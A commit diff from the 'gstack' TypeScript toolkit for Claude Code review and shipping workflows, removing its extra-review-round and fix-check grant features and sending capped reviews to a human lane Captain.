Skip to content

Use Garry Tan's exact Claude Code setup: 23 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA

TypeScript

/gstack-ship drops bought extra review rounds and the second-model trail check (GST-3829) (#4826)

Garry Tanec5d7e6fbd45
diff --git a/bin/gstack-approvals b/bin/gstack-approvals
index 418be9290..c326233e9 100755
--- a/bin/gstack-approvals
+++ b/bin/gstack-approvals
@@ -13,7 +13,6 @@
* gstack-approvals gate --finding <fingerprint> --gate-id <gate_id> --head <stop head> --reason <the gate change> --words <exact words> --by <who recorded> [--json]
* gstack-approvals dispositions [--branch <name>]
* gstack-approvals lane-exception --head <pushed head> --files <f1,f2> --reason <why> --words <exact words> --by <who granted> [--json]
- * gstack-approvals round-grant --pr <n> --head <sha> --kind extra-round|fix-check [--stop-run <run> --findings <ids>] --reason <why> --by <lane or Captain> [--words <text>] [--json]
* gstack-approvals list [--json] [--branch <name>]
* gstack-approvals sync [--branch <name>]
* gstack-approvals path [--branch <name>]
@@ -29,25 +28,23 @@ import { spawnSync } from 'node:child_process';
import * as path from 'node:path';
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
import { appendRows, branchExists, buildRow, importAutoplan, locate, readRecord, renderMode, renderRecord, repoVisibility, syncRecord, type RecordError, type StoreLocation } from '../lib/approval-record';
-import { isGstackActor, isGstackActorName, openShipRun, OWNER_REF, OWNER_REF_SHAPE, RULED_NOTE_SCOPE, ruledNoteRow, ruledNoteSource, ruledNotes, ruledNoteText } from '../lib/ruled-notes';
+import { isGstackActor, openShipRun, OWNER_REF, OWNER_REF_SHAPE, RULED_NOTE_SCOPE, ruledNoteRow, ruledNoteSource, ruledNotes, ruledNoteText } from '../lib/ruled-notes';
import { resultLine } from '../lib/result-codes';
import { parsePlanLine, publicPlanLine, resolvePlan } from '../lib/plan-record';
import { TEST_LANE_EXCEPTION_SCOPE, testLaneExceptionRow } from '../lib/test-lane-exception';
-import { FINDING_ID, REVIEW_ROUND_GRANT_SCOPE, reviewRoundGrantRow, ROUND_GRANT_KINDS, STOP_RUN, type RoundGrantKind } from '../lib/review-round-grant';
import { GATE_DISPOSITION_SCOPE, GATE_SOURCE, gateDispositionRow, gateDispositions, gateDispositionText, ONE_LINE, recordGateDisposition, validGateId } from '../lib/gate-dispositions';
const HELP = `gstack-approvals — the per-thread approval record (capy/skill/gstack/captain.md)
add --ask <text> --words <exact words> --by <who> --scope <what it covers>
[--pending <text>] [--outcome approved|rejected|pending|standing] [--date YYYY-MM-DD] [--source <ref>]
- [--owner-ref <thread code>:<message id or timestamp>]: a row naming review_loop_grant <head> is a fix-check grant,
- refused inside this checkout's open /ship run unless it relays the lane's or Captain's message with --owner-ref
+ a review_loop_grant or review_round_grant row is refused: fix-check and round grants were removed (GST-3562 part 4)
import --autoplan <run dir> [--by <whose words, e.g. Garry>] [--stack <b1,b2,...>]
--stack writes the same rows to every branch of a stack; each branch is checked first, and one unknown branch writes none
rule --finding <fingerprint> --head <the stop head the owner ruled at> --reason <why it ships as a note, one line>
--words <the owner's exact words> --by <who ruled> [--owner-ref <thread code>:<message id or timestamp>] [--not-security]
- the owner's ruling that a review finding ships as a disclosed note (docs/ship-policy.md#ruled-notes); finish
- counts that finding closed on a fix-check whose range_base..commit holds the head, and the receipt and PR body
+ the owner's ruling that a review finding ships as a disclosed note (docs/ship-policy.md#ruled-notes); the
+ receipt write counts that finding closed at a head that holds the ruled head, and the receipt and PR body
list it; inside this checkout's open /ship run it needs --owner-ref, the message the lane relays the owner's
words from, and the row, receipt and Ruled note line then say relayed from it (APPROVAL_RULING_RUN_OPEN without);
the ref is ${OWNER_REF_SHAPE};
@@ -64,20 +61,6 @@ const HELP = `gstack-approvals — the per-thread approval record (capy/skill/gs
finish prints it, and the receipt, PR body and READY carry it; refused while any worktree holds an open /ship run on
the branch; the lander accepts each one with gstack-ship-queue land|verify --accept-gate-disposition <id>
dispositions the "Gate disposition: …" lines the Pre-Landing Review and the PR body carry
- round-grant --pr <n> --head <the head that needs the round> --kind extra-round|fix-check --reason <why, one line>
- --by <the lane or its Captain> [--words <their words; default the reason>]
- [--owner-ref <thread code>:<message id or timestamp>: relays the grant from the lane's or Captain's message, so it
- records while a stopped /ship run is still open on this checkout; needs --words; the same shape as rule's]
- [--stop-run <run> --findings <ids>: fix-check only, the stop gstack-ship-receipt stop recorded and the findings
- its fix round is for; it buys one scoped fix-check of the PR's own change since that stop's head. A fix-check
- with neither buys one scoped fix-check of the change since --head, the reviewed head: a post-review edit (the
- docs audit), or a ruling at the cap whose run recorded no stop. A reason longer than the 300-character ask is
- cut there with an ellipsis; its full words stay in --words]
- a review round the PR's R51 count would not plan (docs/review-policy.md#rounds-per-pull-request): extra-round is
- one round with its fix round past the cap of 2, instead of the read-only final review; it binds
- that head of that PR only and is spent by the round; the lane or its Captain records it, never the owner, and
- --by is recorded, not enforced; refused inside this checkout's open /ship run, so a run never grants itself;
- a stopped run (gstack-ship-run status) records only the fix-check grant naming its own --stop-run and stop --head
lane-exception --head <the pushed head the owner granted at> --files <the uncovered inventory files, comma-separated>
--reason <why, one line> --words <the owner's exact words> --by <who granted>
the owner's grant that a CI-carried lane counts although exactly those files are in no run's tree.json
@@ -181,30 +164,9 @@ function main(argv: string[]): number {
const json = bools.has('--json');
const recorded = (where: StoreLocation) => `${where.file}${where.mirror ? ` mirror=${where.mirror}` : ''}`;
- if (cmd === 'add' || cmd === 'import' || cmd === 'rule' || cmd === 'lane-exception' || cmd === 'gate' || cmd === 'round-grant') {
+ if (cmd === 'add' || cmd === 'import' || cmd === 'rule' || cmd === 'lane-exception' || cmd === 'gate') {
let rows;
- if (cmd === 'round-grant') {
- const invalid = (message: string) => fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message });
- const pr = (flags['--pr'] ?? '').trim(), kind = (flags['--kind'] ?? '').trim() as RoundGrantKind, reason = (flags['--reason'] ?? '').trim(), by = (flags['--by'] ?? '').trim();
- if (!/^[1-9]\d*$/.test(pr) || !ROUND_GRANT_KINDS.includes(kind)) return invalid(`round-grant needs --pr <the PR number> and --kind ${ROUND_GRANT_KINDS.join('|')}`);
- if (!reason || /[\x00-\x1f\x7f]/.test(reason)) return invalid('round-grant needs --reason <why this PR needs the round, one line>');
- const head = spawnSync('git', ['rev-parse', '--verify', '--quiet', `${flags['--head'] ?? ''}^{commit}`], { encoding: 'utf8', timeout: 10_000 });
- if (!flags['--head'] || head.status !== 0) return invalid('round-grant needs --head <the head that needs the round, a commit in this repository>');
- if (!by || isGstackActorName(by)) return invalid('round-grant needs --by <the lane or its Captain>: gstack never grants itself a round');
- const ownerRef = flags['--owner-ref']?.trim();
- if (ownerRef !== undefined && !OWNER_REF.test(ownerRef)) return invalid(`--owner-ref is not ${OWNER_REF_SHAPE}`);
- if (ownerRef !== undefined && !(flags['--words'] ?? '').trim()) return invalid('--owner-ref relays the lane\'s or Captain\'s grant, so round-grant needs --words <their exact words>');
- const stopRun = (flags['--stop-run'] ?? '').trim(), findings = [...new Set((flags['--findings'] ?? '').split(',').map(f => f.trim()).filter(Boolean))];
- const open = openShipRun(process.cwd());
- const ownStop = open?.state === 'stopped' && !open.claim && kind === 'fix-check' && stopRun === open.run && open.stop?.head === head.stdout.trim().toLowerCase();
- if (open && ownerRef === undefined && !ownStop) return invalid(`${open.line}: ${open.state !== 'stopped' ? "a round grant is the lane's or its Captain's, never the run's own" : open.claim ? `this run already spent its own stop's fix-check grant (${open.claim.grant}), so a second fix round is the lane's or its Captain's` : `a stopped run records only the fix-check grant for its own stop (--kind fix-check --stop-run ${open.run} --head ${open.stop?.head ?? '<its stop head>'})`}; relay it with --owner-ref <thread code>:<message id or timestamp> --words <their exact words>, or record it from the lane after the run stops`);
- const stopped = flags['--stop-run'] !== undefined || flags['--findings'] !== undefined;
- if (kind === 'fix-check' && stopped && (!STOP_RUN.test(stopRun) || !findings.length || !findings.every(f => FINDING_ID.test(f)))) return invalid('round-grant --kind fix-check with a stop needs --stop-run <the run gstack-ship-receipt stop named> and --findings <the open finding ids it is for, comma-separated>: it buys the fix round of that one stop; with neither, it buys one scoped fix-check of the change since --head, the reviewed head (a post-review edit, or a stop no stop record holds)');
- if (kind !== 'fix-check' && (flags['--stop-run'] !== undefined || flags['--findings'] !== undefined)) return invalid('--stop-run and --findings belong to --kind fix-check: an extra-round grant names no stop');
- const built = buildRow({ ...reviewRoundGrantRow(head.stdout.trim().toLowerCase(), Number(pr), kind, reason, kind === 'fix-check' && stopped ? { run: stopRun, findings } : undefined), words: flags['--words'] ?? reason, by, date: flags['--date'], source: ruledNoteSource({ ownerRef }) }, loc.branch);
- if ('code' in built) return fail(cmd, built);
- rows = [built];
- } else if (cmd === 'lane-exception') {
+ if (cmd === 'lane-exception') {
const invalid = (message: string) => fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message });
const files = [...new Set((flags['--files'] ?? '').split(',').map(f => f.trim().replace(/^(\.\/)+/, '')).filter(Boolean))].sort();
const reason = (flags['--reason'] ?? '').trim();
@@ -256,13 +218,8 @@ function main(argv: string[]): number {
if (RULED_NOTE_SCOPE.test(flags['--scope'] ?? '')) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: 'a ruled_note scope is recorded with gstack-approvals rule' });
if (GATE_DISPOSITION_SCOPE.test(flags['--scope'] ?? '') || (flags['--source'] ?? '').trim() === GATE_SOURCE) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: 'a gate_disposition scope is recorded with gstack-approvals gate' });
if (TEST_LANE_EXCEPTION_SCOPE.test(flags['--scope'] ?? '')) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: 'a test_lane_exception scope is recorded with gstack-approvals lane-exception' });
- if (REVIEW_ROUND_GRANT_SCOPE.test(flags['--scope'] ?? '')) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: 'a review_round_grant scope is recorded with gstack-approvals round-grant' });
- const ownerRef = flags['--owner-ref']?.trim();
- const grant = `${flags['--ask'] ?? ''} ${flags['--scope'] ?? ''}`.includes('review_loop_grant');
- if (ownerRef !== undefined && (!grant || !OWNER_REF.test(ownerRef) || !(flags['--words'] ?? '').trim())) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: '--owner-ref on add relays a review_loop_grant: <thread code>:<message id or timestamp>, with --words <their exact words>' });
- const open = grant ? openShipRun(process.cwd()) : undefined;
- if (open && ownerRef === undefined) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: `${open.line}: a review_loop_grant row is a fix-check grant (GST-3546), the lane's or its Captain's, never the run's own; relay it with --owner-ref <thread code>:<message id or timestamp> --words <their exact words>, or record it after the run ends` });
- const built = buildRow({ ask: flags['--ask'] ?? '', words: flags['--words'] ?? '', by: flags['--by'] ?? '', scope: flags['--scope'] ?? '', pending: flags['--pending'], outcome: flags['--outcome'], date: flags['--date'], source: ownerRef !== undefined ? ruledNoteSource({ ownerRef }) : flags['--source'] }, loc.branch);
+ if (/\breview_(round|loop)_grant\b/.test(`${flags['--ask'] ?? ''} ${flags['--scope'] ?? ''}`) || flags['--owner-ref'] !== undefined) return fail(cmd, { code: 'APPROVAL_RECORD_INVALID', message: 'fix-check and round grants were removed (GST-3562 part 4), so add records no review_loop_grant or review_round_grant row and takes no --owner-ref; a PR at its round cap goes to the lane\'s Captain, who ships it with notes (gstack-approvals rule) or parks it' });
+ const built = buildRow({ ask: flags['--ask'] ?? '', words: flags['--words'] ?? '', by: flags['--by'] ?? '', scope: flags['--scope'] ?? '', pending: flags['--pending'], outcome: flags['--outcome'], date: flags['--date'], source: flags['--source'] }, loc.branch);
if ('code' in built) return fail(cmd, built);
rows = [built];
} else {
diff --git a/bin/gstack-no-stop b/bin/gstack-no-stop
index c508cbb86..ee6f641d3 100755
--- a/bin/gstack-no-stop
+++ b/bin/gstack-no-stop
@@ -1,6 +1,6 @@
#!/usr/bin/env -S bun --no-env-file --config=/dev/null
/**
- * gstack-no-stop — record one of the four no-stop defaults and go on (GSTA-258 K1, docs/review-policy.md#no-stop).
+ * gstack-no-stop — record one of the no-stop defaults and go on (GSTA-258 K1, docs/review-policy.md#no-stop).
*
* gstack-no-stop record --class <class> --reason <text> --evidence <ref> [--range-base <sha>] [--json]
* gstack-no-stop import --from <autoplan run>/no-stop.json [--json]
@@ -8,31 +8,25 @@
*
* `record` checks the stop against its class (lib/no-stop.ts) and, when it qualifies, appends
* {class, reason, evidence} to the branch's ledger (NO_STOP_FILE:, which /ship passes to
- * `gstack-ship-receipt write --no-stop @<file>`). A scoped-fix-check also records the standing grant in
- * the approval record and prints GRANT: <id> for `gstack-review-plan --grant`. Anything that does not
- * qualify prints `NO_STOP: refused` and exits 3: that stop still goes to the owner.
+ * `gstack-ship-receipt write --no-stop @<file>`). scoped-fix-check was removed with fix-check grants
+ * (GST-3562 part 4) and is refused. Anything that does not qualify prints `NO_STOP: refused` and exits 3: that stop still goes to the owner.
*/
import { spawnSync } from '../lib/spawn-sync';
import * as path from 'node:path';
-import { appendRows, buildRow, locate, readRecord } from '../lib/approval-record';
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
import { appendLedger, checkNoStop, ledgerPath, readLedger } from '../lib/no-stop';
-import { runScriptSync } from '../lib/script-invocation';
-const HELP = `gstack-no-stop — record one of the four no-stop defaults (docs/review-policy.md#no-stop)
+const HELP = `gstack-no-stop — record one of the no-stop defaults (docs/review-policy.md#no-stop)
record --class <class> --reason <text> --evidence <run id, commit or file> [--range-base <sha>] [--json]
NO_STOP: <class> recorded: go on. NO_STOP: refused (exit 3): the stop stands. Anything else still stops.
- scoped-fix-check round 2 stops on a docs-only or timeout-only fix (--range-base round 2's PASS_HEAD):
- run the one fix-check its NEXT: names with the printed GRANT:
test-timeout-fix a fix that only raises a test's timeout (--range-base the commit before it): its gate
finding takes the printed GATE_DISPOSITION: kept reason instead of open
pregate-flake-rerun one rerun of a failed pregate case at the same tree (rule 16): green is flaky, red is real
autoplan-regate gstack-autoplan records it; import --from <run>/no-stop.json adds it here
Step 19's receipt write adds --no-stop @<NO_STOP_FILE> when list shows records.
- --range-base: the commit the fix or change is measured from (round 2's PASS_HEAD for scoped-fix-check, which must be
- the newest review-log pass row's commit,
- the commit before the fix for test-timeout-fix); required for those two
+ scoped-fix-check removed with fix-check grants (GST-3562 part 4): refused; a round-2 stop goes to the lane's Captain
+ --range-base: the commit before the fix, required for test-timeout-fix
import --from <file> [--json] add an autoplan run's no-stop.json records to the branch's ledger
list [--json] the branch's ledger and its path
@@ -40,32 +34,9 @@ ${exitTableHelp()}`;
const flag = (args: string[], name: string) => { const i = args.indexOf(name); return i >= 0 ? args[i + 1] : undefined; };
const git = (args: string[]) => spawnSync('git', args, { cwd: process.cwd(), encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
-const NEEDS_RANGE = ['scoped-fix-check', 'test-timeout-fix'];
-const K1_BY = 'gstack no-stop default (K1)';
+const NEEDS_RANGE = ['test-timeout-fix'];
const AUTOPLAN_EVIDENCE = /^autoplan:\S+@gate_rev=\d+$/;
-/** The commit the newest full or scoped pass reviewed (its review-log row's commit_full): round 2's PASS_HEAD. */
-function lastPassHead(): string | null {
- const r = runScriptSync(path.join(import.meta.dir, 'gstack-review-read'), [], { cwd: process.cwd(), encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
- const rows = (r.stdout ?? '').split('---CONFIG---')[0]!.split('\n').flatMap(l => { try { return [JSON.parse(l)]; } catch { return []; } });
- const pass = rows.filter(x => x.skill === 'review' && typeof x.commit_full === 'string').at(-1);
- return pass ? pass.commit_full : null;
-}
-
-function grant(head: string, detail: string, ledger: string): string | { error: string } {
- const branch = git(['rev-parse', '--abbrev-ref', 'HEAD']).stdout.trim();
- const loc = locate({ cwd: process.cwd(), env: process.env, branch });
- if ('code' in loc) return { error: loc.message };
- const row = buildRow({
- ask: `No-stop default: one scoped fix-check past R51's cap (review_loop_grant ${head})`,
- words: `K1 no-stop default, docs/review-policy.md#no-stop: ${detail}`,
- by: K1_BY, scope: `review_loop_grant ${head}`, outcome: 'approved', source: `no-stop:${ledger.split('/').pop()}`,
- }, branch);
- if ('code' in row) return { error: row.message };
- const added = appendRows(loc, [row]);
- return 'code' in added ? { error: added.message } : row.id;
-}
-
function record(args: string[], json: boolean): number {
const cls = flag(args, '--class') ?? '';
const commit = (ref: string | undefined) => { if (!ref) return undefined; const r = git(['rev-parse', '--verify', '--quiet', '--end-of-options', `${ref}^{commit}`]); return r.status === 0 ? r.stdout.trim() : null; };
@@ -75,18 +46,7 @@ function record(args: string[], json: boolean): number {
if (NEEDS_RANGE.includes(cls) && !rangeBase) { process.stderr.write(`gstack-no-stop record: --class ${cls} needs --range-base <sha>\n`); return EXIT.usage; }
const file = ledgerPath(process.cwd());
if (!file) { process.stderr.write('gstack-no-stop record: not inside a git checkout\n'); return EXIT.fail; }
- if (cls === 'scoped-fix-check') {
- const pass = lastPassHead();
- if (!pass || pass !== rangeBase) {
- process.stderr.write(`NO_STOP: refused ${cls} (--range-base ${rangeBase} is not the commit the last review pass read (${pass ? pass.slice(0, 12) : 'no review-log row'}), so the checked range would not be the range the fix-check covers); stop for the owner\n`);
- return EXIT.refused;
- }
- const loc = locate({ cwd: process.cwd(), env: process.env, branch: git(['rev-parse', '--abbrev-ref', 'HEAD']).stdout.trim() });
- if (!readLedger(file).some(r => r.class === cls) && !('code' in loc) && readRecord(loc).rows.some(r => r.by === K1_BY)) {
- process.stderr.write(`NO_STOP: refused ${cls} (the approval record already holds this branch's K1 grant, from this or another checkout; a second goes to the owner); stop for the owner\n`);
- return EXIT.refused;
- }
- }
+ if (cls === 'scoped-fix-check') { process.stderr.write(`NO_STOP: refused ${cls} (removed with fix-check grants, GST-3562 part 4: a stop after round 2 goes to the lane's Captain, who ships it with notes or parks it); stop for the lane's Captain\n`); return EXIT.refused; }
let diff: string | undefined;
if (rangeBase) {
const d = git(['diff', '--no-color', '--no-ext-diff', '--no-renames', rangeBase, 'HEAD']);
@@ -100,17 +60,9 @@ function record(args: string[], json: boolean): number {
return EXIT.refused;
}
const lines = [`NO_STOP: ${cls} recorded (${v.detail})`, `NO_STOP_FILE: ${file}`];
- let grantId: string | undefined;
- if (cls === 'scoped-fix-check') {
- const head = git(['rev-parse', 'HEAD']).stdout.trim();
- const g = grant(head, v.detail, file);
- if (typeof g !== 'string') { process.stderr.write(`gstack-no-stop record: the grant was not recorded (${g.error}); stop for the owner\n`); return EXIT.fail; }
- grantId = g;
- lines.push(`GRANT: ${g}`, `NEXT: gstack-review-plan --grant ${g} --range-base ${rangeBase} (one scoped fix-check; a blocking finding there goes to the owner)`);
- }
if (cls === 'test-timeout-fix') lines.push(`GATE_DISPOSITION: kept reason="no-stop test-timeout-fix: ${v.record.reason}"`);
appendLedger(file, v.record);
- process.stdout.write(json ? JSON.stringify({ ok: true, record: v.record, detail: v.detail, file, ...(grantId ? { grant: grantId } : {}) }) + '\n' : lines.join('\n') + '\n');
+ process.stdout.write(json ? JSON.stringify({ ok: true, record: v.record, detail: v.detail, file }) + '\n' : lines.join('\n') + '\n');
return EXIT.ok;
}
diff --git a/bin/gstack-review-dispatch b/bin/gstack-review-dispatch
index 43db384b0..b41f59058 100755
--- a/bin/gstack-review-dispatch
+++ b/bin/gstack-review-dispatch
@@ -23,7 +23,7 @@ import * as fs from 'node:fs';
import * as path from 'node:path';
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
import { BRIEF_ROLES, BriefError, briefFile, checkReviewedTree, checkoutRoot, checkoutTree, promptHash, renderBrief, sectionTexts, sliceDiff, sliceNote, withWorkspace, type BriefRole, type Slots, type TreeCheck } from '../lib/review-brief';
-import { cleanMarkers, collect, fixableRaises, mayBeUnavailable, parseFindings, parseReply, readJsonl, readLedger, readerKey, recordJudgment, recordSent, appendEvent, verify, type JudgedLine, type MergedLine, type VerdictCheck, type VerifyRow } from '../lib/review-ledger';
+import { cleanMarkers, collect, fixableRaises, mayBeUnavailable, parseReply, readJsonl, readLedger, readerKey, recordJudgment, recordSent, appendEvent, verify, type JudgedLine, type MergedLine, type VerdictCheck, type VerifyRow } from '../lib/review-ledger';
import { buildManifest, checklistFile, chunkCount, chunkOf, manifestPath, markReader, planCyberRetry, readManifest, renderStage, withAuditModel, writeManifest, STAGES, type Extra, type Manifest, type PassReader, type ReaderState, type Stage } from '../lib/review-pass';
import { classifyOutsideReview } from '../lib/outside-review-result';
import { gateOutcomeLine } from '../lib/gate-outcomes';
@@ -39,7 +39,6 @@ import { effectiveReaders, READERS_POLICY_DEFAULT, type EffectiveReaders } from
import { defaultRoots, foundLines, ignoredLines, inventory, quarantineStage, rerunBlocked, sweepResult, type Inventory } from '../lib/review-sweep';
import { REVIEW_DIFF_MAX_BYTES, ceilingContext, disclosureDigest, disclosureLine, parseTail, readSelection, tooLargeLine, unreadableLine, type PlanExclude, type ReaderDiff } from '../lib/review-exclude';
import { logShipCall } from '../lib/ship-call-log';
-import { claimedFixCheckHunks, restampFixCheckHunks } from '../lib/review-evidence';
logShipCall('gstack-review-dispatch');
@@ -189,7 +188,7 @@ function render(): number {
classes: flag('--classes'), brief, ...(merged ? { checklist: path.join(ROOT, 'review/specialists/targeted.md') } : {}),
policy_exclude: policyItems.map(quote).join(' ') || undefined, ...(sel.disclosure ? { disclosure: sel.disclosure, keep: sel.keep?.map(quote).join(' ') || undefined } : {}),
...(sel.disclosure && 'excerpt_file' in sel && sel.excerpt_file ? { excerpt_file: sel.excerpt_file.file, excerpt_bytes: String(sel.excerpt_file.bytes), excerpt_sha256: sel.excerpt_file.sha256, excerpt_files: String(sel.excerpt_file.files) } : {}),
- fix_list: readFile(flag('--fix-list'), 'fix list'), hunks: (role === 'fix-check' ? claimedFixCheckHunks(process.cwd())?.text : undefined) ?? readFile(flag('--hunks'), 'hunks'), tests: readFile(flag('--tests'), 'tests'), callers: readFile(flag('--callers'), 'callers'),
+ fix_list: readFile(flag('--fix-list'), 'fix list'), hunks: readFile(flag('--hunks'), 'hunks'), tests: readFile(flag('--tests'), 'tests'), callers: readFile(flag('--callers'), 'callers'),
};
const workdir = checkoutRoot();
const tree = checkoutTree(workdir);
@@ -506,15 +505,9 @@ function passStep(cmd: string): number {
const token = flag('--token');
if (!token) { process.stderr.write('gstack-review-dispatch mark: --log-start <key> --token <t>\n'); return EXIT.usage; }
m.log_starts ??= {};
- const fresh = !m.log_starts[logStart];
m.log_starts[logStart] ??= token;
writeManifest(file, m);
process.stdout.write(`LOG_START: ${logStart} token=${m.log_starts[logStart]}\n`);
- if (fresh && m.fix_check?.hunks && logStart.includes('review-fix-check')) {
- let text: string | undefined;
- try { text = claimedFixCheckHunks(process.cwd())?.text ?? fs.readFileSync(m.fix_check.hunks, 'utf8'); } catch { /* reported below; the start token is already recorded */ }
- process.stdout.write(`FIX_CHECK_HUNKS: ${text === undefined ? 'not restamped (hunks file unreadable)' : restampFixCheckHunks(process.cwd(), text) ? 'restamped' : 'not restamped (no render record with these hunks)'}\n`);
- }
return EXIT.ok;
}
const before = flag('--before');
diff --git a/bin/gstack-review-plan b/bin/gstack-review-plan
index e9b8bb6a0..6d41e64d2 100755
--- a/bin/gstack-review-plan
+++ b/bin/gstack-review-plan
@@ -2,11 +2,10 @@
/**
* gstack-review-plan — how much review the next /ship step dispatches (docs/review-policy.md#review-depth).
*
- * gstack-review-plan --base <ref> [--pass <full passes run>] [--last none|full|fix-check] [--fixed-blocking] [--fixed-below]
+ * gstack-review-plan --base <ref> [--pass <full passes run>] [--last none|full] [--fixed-blocking] [--fixed-below]
* [--blocking-open] [--touched-gate] [--critical-found] [--adversarial-ran] [--gate-tagged <n>] [--gated a,b] [--force a,b|all]
* [--reviewed-numbers <fingerprint>] [--depth-floor standard|full] [--range-base <sha>] [--pass1-depth light|standard|full] [--no-tiers]
- * [--targeted-ran <targeted_patch_id>] [--grant <approval id>] [--fix-checks <n>] [--post-review] [--pr <n>] [--json]
- * gstack-review-plan --fix-check-prompt --fix-list <file> --hunks <file> --tests <file> [--callers <file>]
+ * [--targeted-ran <targeted_patch_id>] [--post-review] [--pr <n>] [--json]
*
* Reads the diff against the merge base with <ref> (committed, tracked uncommitted
* edits and untracked files, through lib/review-collect.ts collectLive), runs
@@ -24,8 +23,6 @@ import * as fs from 'node:fs';
import * as path from 'node:path';
import { spawnSync } from '../lib/spawn-sync';
import { baseContainsHead } from '../lib/default-base';
-import { locate, readRecord } from '../lib/approval-record';
-import { grantForPr, readReviewRoundGrants, reviewRoundGrants } from '../lib/review-round-grant';
import { EXIT, exitTableHelp } from '../lib/headless-artifacts';
import { resultLine } from '../lib/result-codes';
import { gateOutcomeLine } from '../lib/gate-outcomes';
@@ -43,20 +40,16 @@ import { effectiveReaders, READERS_POLICY_DEFAULT } from '../lib/ship-policy-rea
import { classifyDiff, diffCommand, keepCommand, planReview, reviewDepthLine, reviewPlanLine, scanNumbers, ROLE_EFFORT, SCOPED_RANGE_LINES, type Depth, type History } from '../lib/review-depth';
import { classList, targetedBriefSha, targetedClasses, targetedPatchId } from '../lib/review-targeted';
import { targetedDelta } from '../lib/review-targeted-delta';
-import { docsChangeSince, ownChangeSince } from '../lib/ship-receipt-depth';
+import { ownChangeSince } from '../lib/ship-receipt-depth';
import { RISK_CLASSES, type RiskClass } from '../lib/review-risk';
-import { renderFixCheckPrompt } from '../scripts/resolvers/fix-check';
-import { bindFixCheckRow, countedFixCheck, grantSpent } from '../lib/fix-check-clearing';
-import { claimedFixCheckHunks, recordFixCheckHunks } from '../lib/review-evidence';
const HELP = `gstack-review-plan — the review depth of the next /ship step (docs/review-policy.md#review-depth)
--base <ref> the base branch (merge base with HEAD is the diff base); required
--pass <n> full review passes already run in this invocation (default 0)
- --last none|full|fix-check the step that just finished (default none: plan pass 1)
+ --last none|full the step that just finished (default none: plan pass 1)
--fixed-blocking the finished step fixed a blocking finding (raises light to standard)
- --fixed-below the finished step fixed findings below the floor (ignored after a fix-check: below-floor
- fixes never repeat review, so only --fixed-blocking or --blocking-open stops there)
+ --fixed-below the finished step fixed findings below the floor
--blocking-open a blocking finding is still open in fix scope
--touched-gate a fix touched a gate-class path
--critical-found a specialist reported a CRITICAL finding (Red Team on code class; raises light to standard)
@@ -69,8 +62,7 @@ const HELP = `gstack-review-plan — the review depth of the next /ship step (do
refuses (exit 2): the plan dispatches it itself
--reviewed-numbers <fp> the numeric-claim fingerprint the outside voice already reviewed
--depth-floor standard|full raise the depth to at least this (never lowers it); /ship passes its prompt flag on every run
- --range-base <sha> the fix range's base (this pass's PASS_HEAD; with --post-review --last fix-check, the last fix-check's
- commit): after a fixed blocker, round 2 is a full pass on the range; below full depth, a
+ --range-base <sha> the fix range's base (this pass's PASS_HEAD): after a fixed blocker, round 2 is a full pass on the range; below full depth, a
committed range of at most ${SCOPED_RANGE_LINES} runtime lines now also gets a full pass (no scoped pass) that keeps
the Red Team and, on a range with runtime lines, the native adversarial; anything unread plans the full pass
--no-tiers specialists, audits and watchers at the host's default effort too (as gstack-config review_effort_tiers off does)
@@ -80,53 +72,30 @@ const HELP = `gstack-review-plan — the review depth of the next /ship step (do
reader last read it: the same patch skips it; any other id, none, or uncommitted edits dispatch it again.
With --range-base naming the commit that read happened on, a loop that is done plans NEXT: targeted
(one targeted reader on HEAD, TARGETED_DELTA: names the range) when the only change since is docs the
- receipt cannot carry the record across (a money, security or numeric claim; GST-1598), or, with a
- --grant this invocation checks, any change but plain docs (the granted fix round; GST-1607)
- --grant <approval id> the owner's grant of one scoped fix-check after round 2, recorded with gstack-approvals add (approved,
- its ask or scope naming review_loop_grant and the stop head's sha, at or after --range-base and at or
- before HEAD; needs --range-base): the stop after a round-2 full pass with a fixed blocking finding or a
- gate-class edit plans that fix-check instead; a fix-check never earns another, except that with
- --post-review --last fix-check a new grant at a stop head after --range-base (the last fix-check's
- commit) plans the next link of the fix-check chain, and in the loop after a fix-check a new grant
- naming that fix-check's commit (--range-base) plans the next link; a grant recorded before a later
- logged fix-check already bought a link; any other row is refused (exit 3)
- --fix-checks <n> fix-checks already run in this invocation: the owner's grant adds one only after the first, in the lean
- loop and after a round-2 fix-check in the full loop (GEVA-223)
+ receipt cannot carry the record across (a money, security or numeric claim; GST-1598)
--post-review plan the Step 9 that /ship Step 16 stage 2.1 inserted for edits after the review bound (finish's
behavior STOP): they plan as a fix to a gate-class path, never a note, so below the round cap
- it is a pass on the range (lean: a fix-check), and at the cap it stops for the owner, whose
- --grant adds one scoped fix-check; after a fix-check, each new grant adds one more (a chain link,
- --range-base at the last fix-check's commit); pass --pass, --last and --fix-checks as the loop left them.
- After a fix-check, edits since --range-base that are only release stamps (the base policy's stamp rule,
- line-exact) and docs (docsChangeSince, the receipt's classifier), with no executable, symlink or gitlink mode and no gate-scan
- tag in the range, are no gate-class edit: done, or targeted
- when a docs claim needs the targeted read on a targeted-class diff (GST-1702)
- --pr <n> the PR whose platform review counts under review.platform on (default: this branch's PR); with
- --round-grant, the PR the grant must name
- --prior-rounds <n> R51 rounds earlier /ship runs on this PR already spent, fix-checks not included (printed as pr_rounds=)
+ it is a pass on the range, and at the cap it stops for the lane's Captain; pass --pass and --last
+ as the loop left them
+ --pr <n> the PR whose platform review counts under review.platform on (default: this branch's PR)
+ --prior-rounds <n> R51 rounds earlier /ship runs on this PR already spent (printed as pr_rounds=)
--prior-full <n> the full rounds among them: with this run's full passes they count against the cap of 2, so pass 1
of a PR with 2 is one read-only full review (no fix round; a blocker is NEXT: stop (PR_ROUND_CAP)
for the lane's Captain to decide, never the owner).
Both come from the PR_REVIEW_FLAGS: line gstack-ship-preflight prints (gstack-ship-receipt history)
